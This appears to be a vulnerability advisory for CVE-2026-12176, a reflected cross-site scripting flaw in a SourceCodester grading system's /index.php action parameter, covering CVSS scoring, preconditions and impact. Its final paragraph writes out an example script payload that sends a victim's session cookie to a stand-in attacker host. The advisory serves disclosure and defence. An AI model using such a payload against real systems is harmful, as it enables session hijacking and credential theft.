CET Grading System CVE-2026-12176

The victim must be using a browser session with the SourceCodester CET Automated Grading System with AI Predictive Analytics 1.0 accessible over the network, and must interact with a malicious link or form submission containing the injected payload in the action parameter (UI:P). No authentication or special privileges are required from the attacker side (PR:N). Exploitation is limited by the requirement for victim user interaction - automated mass exploitation without social engineering is not viable given UI:P. The application must be network-accessible (AV:N); installations restricted to localhost or internal-only networks with no external link delivery would significantly reduce risk. No specific non-default configuration is required; the flaw exists in the base /index.php endpoint.

The CVSS 4.0 base score of 5.3 (Medium) is consistent with a reflected XSS requiring user interaction (UI:P) and carrying only low integrity impact on the vulnerable system (VI:L), with no confidentiality or availability impact reported. The E:P exploitability modifier confirms publicly available proof-of-concept code, raising the priority above a purely theoretical medium finding. This vulnerability is not listed in the CISA KEV catalog, so confirmed active exploitation is not established. The attack vector is network (AV:N) with no complexity (AC:L) or privilege prerequisites (PR:N), meaning the barrier to exploitation is low once a victim is socially engineered. The primary real-world risk is session hijacking, credential theft, or phishing via DOM manipulation - outcomes not fully captured by the VI:L metric alone. Given the target audience (academic grading systems, likely smaller institutions with limited security tooling), the social engineering surface may be broader than typical enterprise targets. EPSS data was not provided; without it, exploitation probability cannot be quantified beyond the E:P signal.

An attacker crafts a URL targeting /index.php with a JavaScript payload embedded in the action parameter (e.g., action=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>) and delivers it to a logged-in user via phishing email or malicious link. When the victim clicks the link, their browser renders the injected script within the application's trusted origin, allowing the attacker to exfiltrate session cookies or perform actions on behalf of the victim. Publicly available proof-of-concept code confirmed via VulDB (https://vuldb.com/submit/837732) lowers the skill requirement for this attack.